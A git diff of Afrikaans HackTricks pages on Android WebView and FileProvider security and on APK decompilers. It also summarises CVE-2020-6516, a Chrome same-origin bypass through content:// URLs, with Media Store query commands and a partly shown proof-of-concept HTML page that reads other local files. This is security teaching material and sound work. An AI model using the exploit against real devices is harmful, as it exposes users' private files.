En 'n voorbeeld van die spesifisering van gedeelde lêers in `filepaths.xml`:
|
||||
En 'n voorbeeld van die spesifisering van gedeelde vouers in `filepaths.xml`:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Vir verdere inligting, kyk na:
|
||||
- [Android-ontwikkelaars: Inhoudsverskaffers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android-ontwikkelaars: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
For further information check:
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews is soos **mini-webblaaier** binne Android-programme, wat inhoud trek van die web of van plaaslike lêers. Hulle staar soortgelyke risiko's in die gesig as gewone blaaier, maar daar is maniere om **hierdie risiko's te verminder** deur spesifieke **instellings**.
|
||||
WebViews is soos **mini webblaaiers** binne Android-apps, wat inhoud trek of van die web of van plaaslike lêers. Hulle ondervind soortgelyke risiko's as gewone blaaiers, maar daar is maniere om hierdie **risiko's te verminder** deur spesifieke **instellings**.
|
||||
|
||||
Android bied twee hoof WebView-tipes aan:
|
||||
Android bied twee hoof WebView tipes:
|
||||
|
||||
- **WebViewClient** is goed vir basiese HTML, maar ondersteun nie die JavaScript-waarskuwingsfunksie nie, wat die toetsing van XSS-aanvalle kan beïnvloed.
|
||||
- **WebChromeClient** tree meer op soos die volledige Chrome-blaai-ervaring.
|
||||
- **WebViewClient** is uitstekend vir basiese HTML, maar ondersteun nie die JavaScript waarskuwing funksie nie, wat die toetsing van XSS-aanvalle beïnvloed.
|
||||
- **WebChromeClient** funksioneer meer soos die volle Chrome-blaaierervaring.
|
||||
|
||||
'n Belangrike punt is dat WebView-blaaiers **nie koekies deel** met die toestel se hoof-blaaier nie.
|
||||
'n Sleutelpunt is dat WebView-blaaiers **nie koekies deel nie** met die toestel se hoofblaaier.
|
||||
|
||||
Vir die laai van inhoud, is metodes soos ````loadUrl````, ````loadData````, en ````loadDataWithBaseURL```` beskikbaar. Dit is noodsaaklik om te verseker dat hierdie URL's of lêers **veilig is om te gebruik**. Sekuriteitsinstellings kan bestuur word deur die ````WebSettings```` klas. Byvoorbeeld, deaktivering van JavaScript met ````setJavaScriptEnabled(false)```` kan XSS-aanvalle voorkom.
|
||||
Vir die laai van inhoud is metodes soos ````loadUrl````, ````loadData````, en ````loadDataWithBaseURL```` beskikbaar. Dit is van kardinale belang om te verseker dat hierdie URL's of lêers **veilig is om te gebruik**. Sekuriteitsinstellings kan bestuur word via die ````WebSettings```` klas. Byvoorbeeld, om JavaScript te deaktiveer met ````setJavaScriptEnabled(false)```` kan XSS-aanvalle voorkom.
|
||||
|
||||
Die JavaScript "Bridge" laat Java-voorwerpe met JavaScript interaksie hê, wat vereis dat metodes gemerk moet word met ````@JavascriptInterface```` vir sekuriteit van Android 4.2 af.
|
||||
Die JavaScript "Bridge" laat Java-objekte toe om met JavaScript te kommunikeer, wat vereis dat metodes gemerk moet word met ````@JavascriptInterface```` vir sekuriteit vanaf Android 4.2.
|
||||
|
||||
Die toelaat van inhoudstoegang (````setAllowContentAccess(true)````) laat WebViews toe om Inhoudsverskaffers te bereik, wat 'n risiko kan wees tensy die inhoud-URL's geverifieer word as veilig.
|
||||
Om toegang tot inhoud toe te laat (````setAllowContentAccess(true)````) laat WebViews toe om toegang te verkry tot Content Providers, wat 'n risiko kan wees tensy die inhoud URL's as veilig geverifieer word.
|
||||
|
||||
Om lêertoegang te beheer:
|
||||
- Deaktivering van lêertoegang (````setAllowFileAccess(false)````) beperk toegang tot die lêersisteem, met uitsonderings vir sekere bates, om te verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word.
|
||||
- Deaktiveer lêertoegang (````setAllowFileAccess(false)````) beperk toegang tot die lêerstelsel, met uitsonderings vir sekere bates, wat verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word.
|
||||
|
||||
## Ander App-komponente en mobiele toestelbestuur
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **Digitale Ondertekening van Aansoeke**
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Digitale ondertekening** is 'n moet vir Android-programme, wat verseker dat hulle **outentiek geskryf** is voor installasie. Hierdie proses gebruik 'n sertifikaat vir app-identifikasie en moet geverifieer word deur die toestel se pakkettebestuurder met installasie. Programme kan **self-onderteken of gesertifiseer word deur 'n eksterne CA**, wat teen ongemagtigde toegang beskerm en verseker dat die app ongeskonde bly tydens aflewering na die toestel.
|
||||
- **Digitale ondertekening** is 'n moet vir Android-apps, wat verseker dat hulle **egte geskryf** is voor installasie. Hierdie proses gebruik 'n sertifikaat vir app-identifikasie en moet deur die toestel se pakketbestuurder geverifieer word tydens installasie. Apps kan **self-onderteken of gesertifiseer deur 'n eksterne CA** wees, wat beskerming bied teen ongemagtigde toegang en verseker dat die app ongeskonde bly tydens sy aflewering aan die toestel.
|
||||
|
||||
### **App-verifikasie vir Verbeterde Sekuriteit**
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- Vanaf **Android 4.2**, 'n funksie genaamd **Verifieer Apps** laat gebruikers toe om programme vir veiligheid te laat nagaan voor installasie. Hierdie **verifikasieproses** kan gebruikers waarsku teen potensieel skadelike programme, of selfs die installasie van besonder skadelike programme voorkom, wat gebruikers se sekuriteit verbeter.
|
||||
- Begin vanaf **Android 4.2**, 'n funksie genaamd **Verify Apps** laat gebruikers toe om apps vir veiligheid te laat nagaan voor installasie. Hierdie **verifikasieproses** kan gebruikers waarsku teen potensieel skadelike apps, of selfs die installasie van veral kwaadwillige apps voorkom, wat gebruikers se sekuriteit verbeter.
|
||||
|
||||
### **Mobiele Toestelbestuur (MDM)**
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM-oplossings** bied **toesig en sekuriteit** vir mobiele toestelle deur die **Toesteladministrasie-API**. Dit vereis die installasie van 'n Android-app om mobiele toestelle doeltreffend te bestuur en te beveilig. Sleutelfunksies sluit in **afdwinging van wagwoordbeleide**, **voorskryf van stoorversleuteling**, en **toelaat van afstandswisiging van data**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
|
||||
- **MDM-oplossings** bied **toesig en sekuriteit** vir mobiele toestelle deur middel van **Device Administration API**. Hulle vereis die installasie van 'n Android-app om mobiele toestelle effektief te bestuur en te beveilig. Sleutel funksies sluit in **afdwinging van wagwoordbeleide**, **verpligte stoor-enkripsie**, en **toestemming vir afstandsdata-wipe**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
**Probeer Hard Sekuriteitsgroep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,85 +1,73 @@
|
|||
# APK decompilers
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Vir verdere besonderhede oor elke instrument, kyk na die oorspronklike pos vanaf [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
**Vir verdere besonderhede oor elke hulpmiddel, kyk die oorspronklike pos van [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
|
||||
|
||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
As die pionier GUI Java-dekompilator, laat **JD-Gui** jou toe om Java-kode binne APK-lêers te ondersoek. Dit is maklik om te gebruik; nadat jy die APK verkry het, maak dit eenvoudig oop met JD-Gui om die kode te ondersoek.
|
||||
As die baanbrekende GUI Java decompiler, **JD-Gui** laat jou toe om Java kode binne APK lêers te ondersoek. Dit is eenvoudig om te gebruik; nadat jy die APK verkry het, maak dit net met JD-Gui oop om die kode te inspekteer.
|
||||
|
||||
### [Jadx](https://github.com/skylot/jadx)
|
||||
|
||||
**Jadx** bied 'n gebruikersvriendelike koppelvlak vir die dekompilering van Java-kode van Android-toepassings. Dit word aanbeveel vir sy gebruiksgemak op verskillende platforms.
|
||||
**Jadx** bied 'n gebruikersvriendelike koppelvlak vir die dekompilering van Java kode uit Android toepassings. Dit word aanbeveel vir sy gebruiksgemak oor verskillende platforms.
|
||||
|
||||
- Om die GUI te begin, navigeer na die binêre gids en voer uit: `jadx-gui`
|
||||
- Vir opdragreëlgebruik, dekomponeer 'n APK met: `jadx app.apk`
|
||||
- Om 'n uitvoergids te spesifiseer of dekompilasie-opsies aan te pas: `jadx app.apk -d <pad na uitvoergids> --no-res --no-src --no-imports`
|
||||
- Om die GUI te begin, navigeer na die bin-gids en voer uit: `jadx-gui`
|
||||
- Vir opdraglyn gebruik, decompileer 'n APK met: `jadx app.apk`
|
||||
- Om 'n uitvoer gids te spesifiseer of dekompilering opsies aan te pas: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||
|
||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
**GDA**, 'n Windows-slegs instrument, bied uitgebreide funksies vir die omgekeerde ontleding van Android-toepassings. Installeer en voer GDA uit op jou Windows-stelsel, en laai dan die APK-lêer vir analise.
|
||||
**GDA**, 'n Windows-slegs hulpmiddel, bied uitgebreide funksies vir die omgekeerde ingenieurswese van Android toepassings. Installeer en voer GDA op jou Windows stelsel uit, laai dan die APK lêer vir analise.
|
||||
|
||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||
|
||||
Met **Bytecode-Viewer** kan jy APK-lêers analiseer deur gebruik te maak van verskeie dekompilators. Na aflaai, voer Bytecode-Viewer uit, laai jou APK en kies die dekompilators wat jy wil gebruik vir gelyktydige analise.
|
||||
Met **Bytecode-Viewer**, kan jy APK lêers analiseer met behulp van verskeie decompilers. Nadat jy afgelaai het, voer Bytecode-Viewer uit, laai jou APK, en kies die decompilers wat jy wil gebruik vir gelyktydige analise.
|
||||
|
||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
**Enjarify** vertaal Dalvik-bytekode na Java-bytekode, wat Java-ontledingsinstrumente in staat stel om Android-toepassings meer doeltreffend te analiseer.
|
||||
**Enjarify** vertaal Dalvik bytecode na Java bytecode, wat dit moontlik maak vir Java analise gereedskap om Android toepassings meer effektief te analiseer.
|
||||
|
||||
- Om Enjarify te gebruik, voer uit: `enjarify app.apk`
|
||||
Dit genereer die Java-bytekode-ekwivalent van die verskafte APK.
|
||||
Dit genereer die Java bytecode ekwivalent van die verskafde APK.
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
**CFR** is in staat om moderne Java-funksies te dekomponeer. Gebruik dit soos volg:
|
||||
**CFR** is in staat om moderne Java funksies te decompileer. Gebruik dit soos volg:
|
||||
|
||||
- Vir standaard dekompilasie: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- Vir groot JAR-lêers, pas die JVM-geheue-toewysing aan: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- Vir standaard dekompilering: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- Vir groot JAR lêers, pas die JVM geheue toewysing aan: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
|
||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||
|
||||
**Fernflower**, 'n analitiese dekompilator, vereis bou vanuit bron. Na die bou:
|
||||
**Fernflower**, 'n analitiese decompiler, vereis om van bron gebou te word. Nadat jy gebou het:
|
||||
|
||||
- Dekompileer 'n JAR-lêer: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||
Haal dan die `.java`-lêers uit die gegenereerde JAR deur `unzip` te gebruik.
|
||||
- Decompileer 'n JAR lêer: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||
Trek dan die `.java` lêers uit die gegenereerde JAR met `unzip`.
|
||||
|
||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||
|
||||
**Krakatau** bied gedetailleerde beheer oor dekompilasie, veral vir die hanteer van eksterne biblioteke.
|
||||
**Krakatau** bied gedetailleerde beheer oor dekompilering, veral vir die hantering van eksterne biblioteke.
|
||||
|
||||
- Gebruik Krakatau deur die standaard biblioteekpad en die JAR-lêer wat gedekomponeer moet word, te spesifiseer: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
- Gebruik Krakatau deur die standaard biblioteek pad en die JAR lêer wat gedekomplileer moet word, te spesifiseer: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
|
||||
### [procyon](https://github.com/mstrobel/procyon)
|
||||
|
||||
Vir eenvoudige dekompilasie met **procyon**:
|
||||
Vir eenvoudige dekompilering met **procyon**:
|
||||
|
||||
- Dekompileer 'n JAR-lêer na 'n gespesifiseerde gids: `procyon -jar "app.jar" -o "output_directory"`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
- Decompileer 'n JAR lêer na 'n spesifieke gids: `procyon -jar "app.jar" -o "output_directory"`
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -18,21 +19,21 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
**Dit is 'n opsomming van die pos [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
### Lys van Lêers in Media Store
|
||||
Om lêers wat deur die Media Store bestuur word, te lys, kan die volgende bevel gebruik word:
|
||||
### Lyste van Lêers in Media Store
|
||||
Om lêers wat deur die Media Store bestuur word, te lys, kan die onderstaande opdrag gebruik word:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
Vir 'n meer mensvriendelike uitset, vertoon slegs die identifiseerder en pad van elke geïndekseerde lêer:
|
||||
Vir 'n meer mensvriendelike uitvoer, wat slegs die identifiseerder en pad van elke geïndekseerde lêer vertoon:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
Contentverskaffers is geïsoleer in hul eie private namespace. Toegang tot 'n verskaffer vereis die spesifieke `content://` URI. Inligting oor die paaie om 'n verskaffer te benader kan verkry word uit aansoek-manifeste of die bronkode van die Android-raamwerk.
|
||||
Content providers is geïsoleer in hul eie private naamruimte. Toegang tot 'n verskaffer vereis die spesifieke `content://` URI. Inligting oor die paaie om toegang tot 'n verskaffer te verkry, kan verkry word uit toepassings-manifeste of die Android-raamwerk se bronkode.
|
||||
|
||||
### Chrome se Toegang tot Inhoudsverskaffers
|
||||
Chrome op Android kan toegang verkry tot inhoudsverskaffers deur die `content://` skema, wat dit in staat stel om bronne soos foto's of dokumente wat deur derdeparty-aansoeke uitgevoer is, te benader. Om dit te illustreer, kan 'n lêer in die Media Store ingevoeg word en daarna via Chrome benader word:
|
||||
### Chrome se Toegang tot Inhoud Verskaffers
|
||||
Chrome op Android kan toegang verkry tot inhoud verskaffers deur die `content://` skema, wat dit in staat stel om hulpbronne soos foto's of dokumente wat deur derdeparty-toepassings uitgevoer is, te benader. Om dit te illustreer, kan 'n lêer in die Media Store ingevoeg word en dan via Chrome toegang verkry word:
|
||||
|
||||
Voeg 'n aangepaste inskrywing by die Media Store in:
|
||||
Voeg 'n pasgemaakte inskrywing in die Media Store in:
|
||||
```bash
|
||||
cd /sdcard
|
||||
echo "Hello, world!" > test.txt
|
||||
|
@ -46,21 +47,21 @@ content query --uri content://media/external/file \
|
|||
--projection _id,_data | grep test.txt
|
||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||
```
|
||||
Die lêer kan dan in Chrome besigtig word deur 'n URL te gebruik wat saamgestel is met die lêer se identifiseerder.
|
||||
Die lêer kan dan in Chrome gesien word met 'n URL wat saamgestel is met die lêer se identifiseerder.
|
||||
|
||||
Byvoorbeeld, om lêers wat verband hou met 'n spesifieke aansoek te lys:
|
||||
Byvoorbeeld, om lêers wat verband hou met 'n spesifieke toepassing te lys:
|
||||
```bash
|
||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||
```
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Oorskryding
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||
|
||||
Die _Same Origin Policy_ (SOP) is 'n sekuriteitsprotokol in webblaaier wat webblaaie beperk om met bronne van verskillende oorsprong te interaksieer tensy dit uitdruklik toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid het ten doel om informasie lekke en kruis-webwerfversoekvervalsing te voorkom. Chrome beskou `content://` as 'n plaaslike skema, wat impliseer dat strenger SOP-reëls van toepassing is, waar elke plaaslike skema-URL as 'n afsonderlike oorsprong beskou word.
|
||||
Die _Same Origin Policy_ (SOP) is 'n sekuriteitsprotokol in blaaiers wat webbladsye beperk om met hulpbronne van verskillende oorspronge te kommunikeer, tensy dit eksplisiet toegelaat word deur 'n Cross-Origin-Resource-Sharing (CORS) beleid. Hierdie beleid het ten doel om inligtingslekke en cross-site request forgery te voorkom. Chrome beskou `content://` as 'n plaaslike skema, wat strenger SOP-reëls impliseer, waar elke plaaslike skema-URL as 'n aparte oorsprong behandel word.
|
||||
|
||||
Nietemin was CVE-2020-6516 'n kwesbaarheid in Chrome wat 'n oorskryding van SOP-reëls vir bronne wat gelaai is via 'n `content://`-URL toegelaat het. In werklikheid kon JavaScript-kode vanaf 'n `content://`-URL toegang verkry tot ander bronne wat gelaai is via `content://`-URL's, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes vroër as Android 10 hardloop, waar omvangbeheer nie geïmplementeer was nie.
|
||||
Egter, CVE-2020-6516 was 'n kwesbaarheid in Chrome wat 'n omseiling van SOP-reëls vir hulpbronne wat via 'n `content://` URL gelaai is, toegelaat het. In werklikheid kon JavaScript-kode van 'n `content://` URL toegang verkry tot ander hulpbronne wat via `content://` URLs gelaai is, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes voor Android 10 gebruik, waar geskaalde stoor nie geïmplementeer was nie.
|
||||
|
||||
Die bewys-van-konsep hieronder demonstreer hierdie kwesbaarheid, waar 'n HTML-dokument, nadat dit onder **/sdcard** geüpload is en by die Media Store gevoeg is, `XMLHttpRequest` in sy JavaScript gebruik om die inhoud van 'n ander lêer in die Media Store te benader en te vertoon, terwyl die SOP-reëls omseil word.
|
||||
Die bewys-van-konsep hieronder demonstreer hierdie kwesbaarheid, waar 'n HTML-dokument, nadat dit onder **/sdcard** opgelaai is en by die Media Store gevoeg is, `XMLHttpRequest` in sy JavaScript gebruik om toegang te verkry tot en die inhoud van 'n ander lêer in die Media Store te vertoon, terwyl die SOP-reëls omseil word.
|
||||
|
||||
Bewys-van-konsep HTML:
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -93,16 +94,17 @@ xhr.send();
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
